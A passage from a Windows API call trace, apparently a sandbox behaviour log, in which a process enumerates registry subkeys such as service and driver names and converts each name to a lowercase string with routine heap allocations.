lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.009] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0242.009] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0242.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0242.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0242.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.013] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.013] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.013] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0242.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.014] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.014] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0242.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 